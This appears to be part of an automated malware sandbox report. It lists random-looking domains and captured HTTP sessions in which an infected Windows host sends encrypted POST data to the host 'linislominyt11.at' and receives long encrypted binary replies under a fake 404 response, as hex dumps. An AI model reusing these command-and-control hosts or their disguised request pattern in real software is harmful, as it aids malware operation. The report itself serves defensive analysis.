wlynp.com

dendcyeu.net

epgosavus.com

jkwfoeqsg.net

pcirrgj.org

xjwjthjot.com

ropqgxkm.net

evaublbbue.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49733	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49738	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49723	115.88.24.202	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:22.083466053 CEST	10733	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qphmishax.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: linislominyt11.at
Aug 30, 2022 15:54:22.083498955 CEST	10733	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 8c d8 22 ce Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO"}.<lRY2BJ&5m?hHt*}:w x?
Aug 30, 2022 15:54:23.089220047 CEST	10735	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:22 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 19 00 00 00 1d 3d 5a e2 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 22 92 ee 66 98 f7 72 ab c0 0b 97 d1 ce c9 dd fb 2c e1 31 79 ba 7c 34 a7 5b 0c e4 95 e1 2a a1 87 a2 74 6c 63 03 ba dd 49 d5 13 2f fa 2f 29 0f 98 7f 44 bd cb d0 26 94 b2 09 7e cf d9 3e 48 a1 37 b6 c1 be 15 9d 6d 5a 86 35 a9 3d 95 85 5b af 40 5e fd 10 0c 67 dc 5b b6 92 ad 94 c5 42 e9 a4 61 d0 12 c9 3c 39 f5 71 04 60 45 a8 ca 82 45 59 46 2f 09 7d 48 a3 49 04 0f 63 b1 40 11 d9 bc ee 1a 32 70 75 de 70 7d c2 61 5b 7a 6f f1 de 88 81 b6 53 d0 df c2 70 27 2d 5e 90 cc 9d de 40 22 f1 58 59 5e bb bd 59 a4 8d 4c e0 b7 d1 97 09 97 f2 22 ee 00 fb 91 8b ba d6 4b 81 d9 a5 bf 96 70 55 48 72 2a 05 09 5d 4c 8e ad 71 40 9b ef 4e 37 c3 1f 91 b6 7e 6a 72 5f 1e f2 46 60 6e 70 d1 da 50 3f 04 60 87 fe e6 18 22 84 2f c4 f1 ab a3 3d 3e Data Ascii: =Zq <`~E&oCU74o8,.g@.nY9v}Hr8Bfnpp}QHBCh3w)pF>t$27#k%1n~Yx0h;#]n3`Du~hyi1y#.0rYMk^d4fH=p nf/JTG7dr=$@(_[#P\|=YCy9za4t}a$ZWAk3]?Mh+uX2.SCDSPIfoEq{]knSbqiC0[?PMK"jq7GL)=\``C'iw(kGBtOe?1~U)Z$qgN}3Xh:hUT?dp\#9#P4J.bS&D7NGZ#7V4gy~<fWPtq6Tb@w6K7IDp}3f'&`GX?BV<x55$:!-Sk^@n\rx%v@mW2b^aI)w$1%eokhL30vE/=YlD{g7AH"oLs8Q0&QkiF}.a\|uq?zp)oaH&?&` [TG_m\|x8nm"fr,1y\|4[tlcI//)D&~>H7mZ5=[@^g[Ba<9q`EEYF/}HIc@2pup}a[zoSp'-^@"XY^YL"KpUHr]Lq@N7~jr_F`npP?`"/=>
Aug 30, 2022 15:54:23.089351892 CEST	10736	IN	Data Raw: bf 05 bd 6f e5 36 e2 56 d8 aa 56 30 6f 8b ab df a8 33 8a c2 0c 91 51 13 96 28 18 80 a3 71 92 1a c1 cb 6c 28 f7 f5 75 ca 6a 9e b0 2c 53 86 6f d6 0f dc d1 42 cb 69 c8 88 26 89 dd dd aa b3 a3 49 0f 94 f6 a4 13 63 53 6b e5 d0 71 12 6c 37 36 1a 8e 9a Data Ascii: o6VV0o3Q(ql(uj,SoBi&IcSkql76!%eIAUt6)Dhkz,^,NKOv"4"{p[,-[4JB}j1,@>\|$m$%Qr=nyDe_RB^J!AEAP
Aug 30, 2022 15:54:23.347548962 CEST	10738	IN	Data Raw: 08 0f 05 ee 96 14 65 fe 2a 3b 30 12 53 0d 1c 36 a7 f4 6d bf d6 91 69 2c 0d af 51 03 9c 4f e4 60 b9 57 54 0c e1 6a 5b 24 2a 3e da 0c e1 6a 74 3b ec 00 74 50 3e de 77 68 78 6c eb b4 dd 8d 38 3c e4 e3 91 a2 6a 85 5f 97 90 ce 6e cb 5e c3 b9 48 d2 4d Data Ascii: e;0S6mi,QO`WTj[$>jt;tP>whxl8<j_n^HMD];iii.Ip3d4>xl&$)Q6$Bq`Gk5s_rRP?ah(g`7jUNNQ")sT9kRQQ]#
Aug 30, 2022 15:54:23.347609043 CEST	10739	IN	Data Raw: 64 01 8f d5 5e 05 25 e5 b6 75 ff 90 c5 58 f4 53 e7 f5 fe d8 df 79 2b 56 74 fd 66 1b 6d e0 b2 1a 58 81 5a 53 1a fe c6 e8 bc 07 db 34 7c 08 1c 0e 9c 4f 33 e4 35 83 91 78 87 95 27 9e 0a d3 a7 fc f8 8b 91 a2 27 f0 cb e0 99 aa 43 2e ea 3a ca 80 6d 83 Data Ascii: d^%uXSy+VtfmXZS4\|O35x''C.:m0f_x&r4_J\| P~9Uc4GJz0ffu;:5$^<mqa<K\|Kz V(/XbFn -tN\|-c$$
Aug 30, 2022 15:54:23.347651005 CEST	10740	IN	Data Raw: 00 ec 29 cf 7e ad 38 a5 a3 35 66 4a 67 31 98 cc d4 b6 23 45 9b 7b 5c 0e a7 46 b8 22 75 25 67 6b 01 3f 74 84 72 28 01 18 d2 3a 7b 76 b4 21 b4 70 0e 74 4f fe 05 c8 2e ff 5f 7d 6d 05 be c6 15 07 94 ea 1c 67 d1 00 11 55 c3 40 85 24 a1 ba d4 14 52 b7 Data Ascii: )~85fJg1#E{\F"u%gk?tr(:{v!ptO._}mgU@$R8(NV)m,. <KBkBJA^LnRxA-rzC/!ow"9?@g&^TbTg}p\LdQyLj=!cBqKcx@]$gQ;QPI7?cYwd
Aug 30, 2022 15:54:23.347692966 CEST	10742	IN	Data Raw: 33 4d f8 96 32 cf 48 84 02 b4 02 a3 a0 5e 43 53 da c7 0e 5d cb 8f 50 07 8b ec f0 e3 4a 3a f2 da 9e 9d 20 5b 3a 10 fe 02 c1 20 00 bf 62 ba 3c 12 b4 e5 2e be 34 3e 24 2f c0 c5 ad 99 50 97 70 f6 6f 43 b6 9b e5 18 45 aa 80 09 07 b9 cb 12 65 15 39 47 Data Ascii: 3M2H^CS]PJ: [: b<.4>$/PpoCEe9Gb`/Y1P-B#m>VkA`?Y\~f0h4QFXl7HVv~C4i$d%Y@]t'L-z=3UP(o~K}7GN
Aug 30, 2022 15:54:23.607886076 CEST	10743	IN	Data Raw: ef ac fb 4b 5c f0 21 36 f0 6b 7f c1 a6 a4 e5 1b e2 c9 94 44 d8 ae ab 91 6e c6 78 61 6b f0 b9 f5 ad f6 d7 e0 c2 e5 66 43 22 21 5e 98 ae a0 a2 17 71 55 ad 53 2b 23 87 70 93 5b 9d 84 4c af 58 86 49 80 69 ad c5 3e 32 c4 8e 6a cf 5d 65 cb 23 de b2 e2 Data Ascii: K\!6kDnxakfC"!^qUS+#p[LXIi>2j]e#CAuB1k!vo^,***~SOzR:;\M2FS7"#ck_WdrFFq(\1xxF)w2&~H>rc#{0<9dM&D!
Aug 30, 2022 15:54:23.607938051 CEST	10745	IN	Data Raw: a0 8b 1f aa f3 9e 18 2e 13 86 98 58 e2 7f 61 57 2e 61 a4 8d f4 8f 7c 4c 61 94 a8 02 e9 9c db c8 3c 80 45 ca 57 a5 28 6c 61 ad 76 a0 c3 11 05 24 22 4d 53 40 ed 97 1c 3b 7c 13 d7 26 71 c9 84 5c 46 ba ce 9e ff c9 17 24 76 9b e3 21 06 8f 45 b6 98 c1 Data Ascii: .XaW.a\|La<EW(lav$"MS@;\|&q\F$v!E/gGc#u\z"6.eFEZ;qKd)Z?an{L)z&UGqQKF*t:cZa6eV ]iL&z~_R/iV
Aug 30, 2022 15:54:23.607975960 CEST	10746	IN	Data Raw: 25 78 5b 4d 21 5e 9f d7 43 58 89 6b ef b7 a4 91 03 bd e9 fb 64 4d a9 df d3 56 9e 91 50 a2 4f 50 25 fb 39 72 79 08 6a c0 46 22 44 d8 2b a8 65 6c e9 2f 93 7e d5 37 84 df 5c 11 25 26 a7 5b 81 21 89 72 e0 76 8d 25 49 de e5 81 be 63 c1 66 e5 4b 00 46 Data Ascii: %x[M!^CXkdMVPOP%9ryjF"D+el/~7\%&[!rv%IcfKFqA)\X?ge+xbKLJM'mCwA;b@btv+dV4:K~$%[{rI(;B/\|3`z
Aug 30, 2022 15:54:23.608061075 CEST	10747	IN	Data Raw: da 5b 68 67 23 12 d3 58 fb 33 8c 21 11 54 fe a2 92 4c 51 34 91 52 30 96 25 29 8e a0 a1 7a b9 4f 17 7f 8b c2 d7 31 d9 33 49 73 e6 16 19 96 0e fb 80 5b e7 0b 04 14 21 22 ab d4 6a b8 bc c0 ca 90 3a 07 e9 96 38 73 c8 97 91 b4 29 a2 01 5b 42 1c 69 93 Data Ascii: [hg#X3!TLQ4R0%)zO13Is[!"j:8s)[Bi``%.Lp&cDt:h,(nQVx^khy}Q-byN+d& !^illz/?~="rP\|d+k;N%S85F
Aug 30, 2022 15:54:23.608103037 CEST	10749	IN	Data Raw: f6 81 95 5e ce 97 21 01 0c ce fd a7 77 80 31 40 d6 5a 3a 9a 37 bb a2 dc 0f 14 06 84 73 41 f9 a2 23 2a 8e 1a 37 6b 41 0f d7 d2 81 f9 90 98 fd 24 95 5b 03 a5 05 b9 c6 1b 32 a7 b3 31 49 37 95 82 8e 47 b3 0b 5a 8f 11 50 8b f8 38 99 eb e4 3d 00 5c c5 Data Ascii: ^!w1@Z:7sA#7kA$[21I7GZP8=\Gjj;]Qv6f]aV<^yzJ7!m#[0m}am!{=VYM$Z"#?\4C0U[WHtPWf.:82KxY]/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49724	222.232.238.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:27.107912064 CEST	10992	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kfbkqmuwn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: linislominyt11.at
Aug 30, 2022 15:54:27.108349085 CEST	10992	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 be c7 31 b0 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO1f)w8en`;7G7]/b
Aug 30, 2022 15:54:29.212363958 CEST	10994	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 5d c2 94 7b 44 5d 82 12 e8 0d 79 de 34 9e a5 1d de 28 0d 3c ca a0 48 14 4d 9c b3 9f 58 6e a3 dd 1a 49 70 ab b7 46 c7 aa 4f b1 2f d2 ed 6c c1 10 a5 0d 82 91 cf 3f ad c6 87 a8 60 33 15 e7 4b ad bc 73 5e 48 0e af dd bb 36 f8 37 33 3f 0c 89 3e ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 67 72 3b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 15 9e 1d ed 52 2b e5 cf 03 79 7e 45 f7 ff 92 d5 55 db c4 1d 13 13 bf 1e e0 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 18 17 7e 5f af 9a a0 44 c8 a0 c1 b9 dd 7a 0d 90 cf 1b e0 28 95 a9 a5 a1 f9 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 96 85 33 6c 4d 7c 0a 8d c7 5d 64 0c 3c be 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 b7 2a 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 37 74 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 9d ae ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 51 d3 12 51 8c 60 17 4b 81 8f df 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 26 e7 6e ec c3 ce 56 a3 4c 29 8e 1f d4 b4 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a 55 b1 7f 74 79 f0 ed 41 cc ef 8b 8b e1 7e 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 15 c7 2b 77 37 2c 00 45 db 97 24 0d 38 04 67 f9 7d d8 ef fe 45 1b a8 01 a3 cd 58 c5 a9 f4 ad d6 84 a8 7c 20 97 59 cf dd 43 67 29 02 3d 65 31 99 b5 ff 01 6e 27 c2 10 72 f4 41 f4 ae b8 ab 29 fb a0 4b 22 40 c4 2d 6f 02 2d 20 05 81 e7 e0 e3 56 32 44 b4 f3 b3 fd 8f 41 45 e6 29 78 8b 76 68 ca 67 2f 7b 28 fa 22 bb 66 36 77 3c 5c 8d 71 17 6b 62 8a cd d2 75 56 75 e0 33 23 e0 ae b8 a6 84 6e e3 c2 74 4d 7d 8c 98 4b ce b6 cc ba 09 fa 78 c5 92 3d 0e 3a 37 c4 79 2b 4b 61 3d ef fa 68 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG]{D]y4(<HMXnIpFO/l?`3Ks^H673?>p"XJcb>Y Zgr;[V?#B7PRR+y~EU$a\|l~_Dz(%Q.\|8HkJ{/a]F43lM\|]d<~qhJO;yLuVn#u1yr+Lc7t<'i3FHUhU@Wd{9f(B@wXdQQ`K^NTUOIL/T&nVL)h),^[}_>UtyA~v+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=+w7,E$8g}EX\| YCg)=e1n'rA)K"@-o- V2DAE)xvhg/{("f6w<\qkbuVu3#ntM}Kx=:7y+Ka=h
Aug 30, 2022 15:54:29.212424040 CEST	10995	IN	Data Raw: f5 73 32 4f 59 ea b5 85 5c c6 af eb 60 60 fc 37 8e ef db 81 41 5e ce 65 43 ea 2c 36 6d ff 28 dc d1 ab cf 4d 9d 81 43 25 63 c5 92 54 5a 38 3f 3e f5 1e 66 99 11 6d f4 9a 32 02 ac 41 13 88 36 2f a8 d7 27 e1 1c 40 74 d8 c0 a4 63 c8 f6 11 42 3c 43 b5 Data Ascii: s2OY\``7A^eC,6m(MC%cTZ8?>fm2A6/'@tcB<Cn4?gm$JX67$=+4J!A+TPLG9tYyROz!2\0d3cEf*-`W cPL&'K_
Aug 30, 2022 15:54:29.212457895 CEST	10996	IN	Data Raw: df d4 2a 8d c3 7c 9f d5 5d 95 ba ea 6d 39 ff 2d 07 c3 76 cb f9 5b 0f 35 a8 b5 c8 18 a3 db c1 04 53 a9 2a 78 2d 40 22 00 4b f0 36 af b9 34 95 b3 04 2d b6 e3 37 4d c3 69 d5 46 cc 4f b6 1a 32 f6 7d f4 da 42 e9 35 fa 00 23 89 0e 61 35 e6 56 64 f4 cb Data Ascii: \|]m9-v[5Sx-@"K64-7MiFO2}B5#a5Vd,+ atw-=RLb.h5KBtNDXg@%^p^hW8KCCP87&F(Sy1`~I5Tr#lP<?.!A)+
Aug 30, 2022 15:54:29.212500095 CEST	10997	IN	Data Raw: 6a 68 66 dc 34 fa cd b6 1f 7b 41 3b d3 85 3a 48 93 59 04 2d a3 3a 13 f7 35 c7 3d e5 3f 3a 4f 10 e7 ac 4a b3 9c 4b 18 e5 da a3 8c 86 17 f3 2f d3 5b 94 ae 96 21 bf 9f b7 26 dc 51 0f 20 30 4f 27 31 50 6a 0a 8a d6 bd c4 e6 46 3b 8e 3c 15 29 eb 7f db Data Ascii: jhf4{A;:HY-:5=?:OJK/[!&Q 0O'1PjF;<)m g>dob.A\-`wv7*Pm@qU.pGK%Fe(A0g U+[u_Z>g;0a5,mG%JOxH{uW@)sLVwXcqb
Aug 30, 2022 15:54:29.212539911 CEST	10998	IN	Data Raw: a1 f7 4d de 57 37 57 85 dc 40 2e 28 a8 29 26 e2 2a 4e c1 7d 30 8b 06 bd 47 26 a7 bd 0a 66 2e c0 88 3a f1 25 1c 1d be fc 49 aa f8 28 4e 4b 6d 23 29 ed 69 52 11 2a a0 ba 3b 37 72 4c 66 93 53 b9 41 f7 48 a9 49 d7 00 56 fb 82 01 2a e8 64 f4 36 29 34 Data Ascii: MW7W@.()&N}0G&f.:%I(NKm#)iR;7rLfSAHIV*d6)4CBwu$E7?y8>uq";t]t!YZWEdx`fv4jFz~\-:'sQN32L9y2$.~;DmY6,1z8O9e:WZf7FoB
Aug 30, 2022 15:54:29.212583065 CEST	11000	IN	Data Raw: 4a 77 25 0f 9b 63 10 02 9d bd ad a9 fd ae c4 67 56 36 a8 64 14 c5 1b b0 5d 40 ac 57 9d e6 0e 6c 6d 49 9d 7c 30 42 83 af 99 36 48 9d 8d 9b 36 f6 29 de 5b 35 b8 c0 9d f6 d7 cf ec 5a e1 f6 29 4e 58 a6 88 76 50 f3 d4 07 2a 81 f4 37 d5 5f 95 69 bf 05 Data Ascii: Jw%cgV6d]@WlmI\|0B6H6)[5Z)NXvP7_ioVOw;7V.ezU$Y6$O&hCyTxwhhd%p)ICA(vKjv'C`>MA4*SSvw\~(>_
Aug 30, 2022 15:54:29.212625027 CEST	11001	IN	Data Raw: 52 e1 49 7a 8c e2 53 1e 59 14 84 0d bb 25 95 14 ae d6 7c ab c7 40 e0 52 4b cd 61 84 14 44 a5 31 39 d9 5a 9b 9a 65 2a e9 d3 af 24 ea cb 93 fa a8 04 85 e4 8a a7 ee 05 7d 90 3b 0b 9c 02 51 d2 0c ce 48 6c 84 da 0e a9 6c c7 2e bf ef 21 24 97 cb d1 0b Data Ascii: RIzSY%\|@RKaD19Ze$};QHll.!$\(i{\|eI}@G[,:rx)h>4{fOEc'8$*AYWE4f{5v<GxmAAmW?<"GLUvPs o+9p
Aug 30, 2022 15:54:29.212666035 CEST	11002	IN	Data Raw: 71 17 ba d5 96 d1 5c ff 2f 5b 88 b5 cc b1 c6 a4 fa ae 79 cd ab 80 5e 6a fe c8 d3 c0 c1 a1 95 2d db a5 00 a8 0d 57 c4 c1 d9 8f 01 f8 4c 25 84 f1 d5 0f 18 36 73 76 cd 91 a8 92 72 37 66 52 82 f9 75 13 c0 b3 92 a4 35 e2 c1 b6 33 83 a4 dd 47 cc 96 cb Data Ascii: q\/[y^j-WL%6svr7fRu53GP%9fg1ae WAiTS1sKVIQr"EGTkeLh]+TBdxHZvxyc 6a8D6A,N+4`myd^pF!Hb
Aug 30, 2022 15:54:29.212707996 CEST	11004	IN	Data Raw: 8a 40 9e 5c 0b 87 f7 63 99 17 05 94 c7 e4 49 35 06 58 11 ea c3 7d 3e c1 0e 5f 81 91 ce d1 24 2f 30 2b a9 ad c5 ad 3d 45 36 b0 5e 5c 7f 01 3a 34 77 6c 43 fc 6d 92 c6 30 87 7b 81 07 49 47 ec 42 64 e1 fc 8c f5 47 97 f3 2b b4 57 1e 6f fa 48 0a 34 74 Data Ascii: @\cI5X}>_$/0+=E6^\:4wlCm0{IGBdG+WoH4t*'>Sv:')"tw+p7eQ;'zYQI9poWb{`CZ#! ]8thQLuL$~/9TZ"gU
Aug 30, 2022 15:54:29.212749004 CEST	11005	IN	Data Raw: 8d b7 d1 f7 b6 a1 35 ec 94 2e aa 02 da 0d 18 0f 29 4f 08 5e 9f 7f da cd e9 f5 13 30 d9 26 f9 7b b7 b1 da d0 8f 1b d3 2a 4b 3b 59 b6 a1 46 3c 03 81 5e 42 a9 70 54 84 4d e2 6a 5f 15 6a 89 e3 21 83 da e6 98 b3 dc 7b 12 0a 95 b5 28 84 7d e2 df 60 ff Data Ascii: 5.)O^0&{K;YF<^BpTMj_j!{(}`4hj\|EMa%(0YTsA_JmmD\^-r}fdLtewL0:`~2Zp2r}T:`@f,%OA*{y>m)8i7Ry.B'-\|'[]b
Aug 30, 2022 15:54:29.517648935 CEST	11007	IN	Data Raw: fd e4 94 8e e1 d1 01 e3 c6 ec 47 2e bb 9c bb a5 6d 4e f9 1f e0 6e 18 60 2f cf c5 97 24 26 85 2b 19 d1 d4 49 84 e2 39 6a 2b 4c e0 28 8e c1 c8 d3 11 f3 06 18 18 2e b5 4d 15 91 0d 37 1d ca eb 9d 3b b7 13 63 b1 5e 53 7f 00 4e 75 79 e8 a3 43 cc 49 67 Data Ascii: G.mNn`/$&+I9j+L(.M7;c^SNuyCIgzl)2~<\4HALyc(S#&(82%!tUWt@sKLMS6PJPB$@i{?<g\;GG&;'SCp2-qsYTPC8^

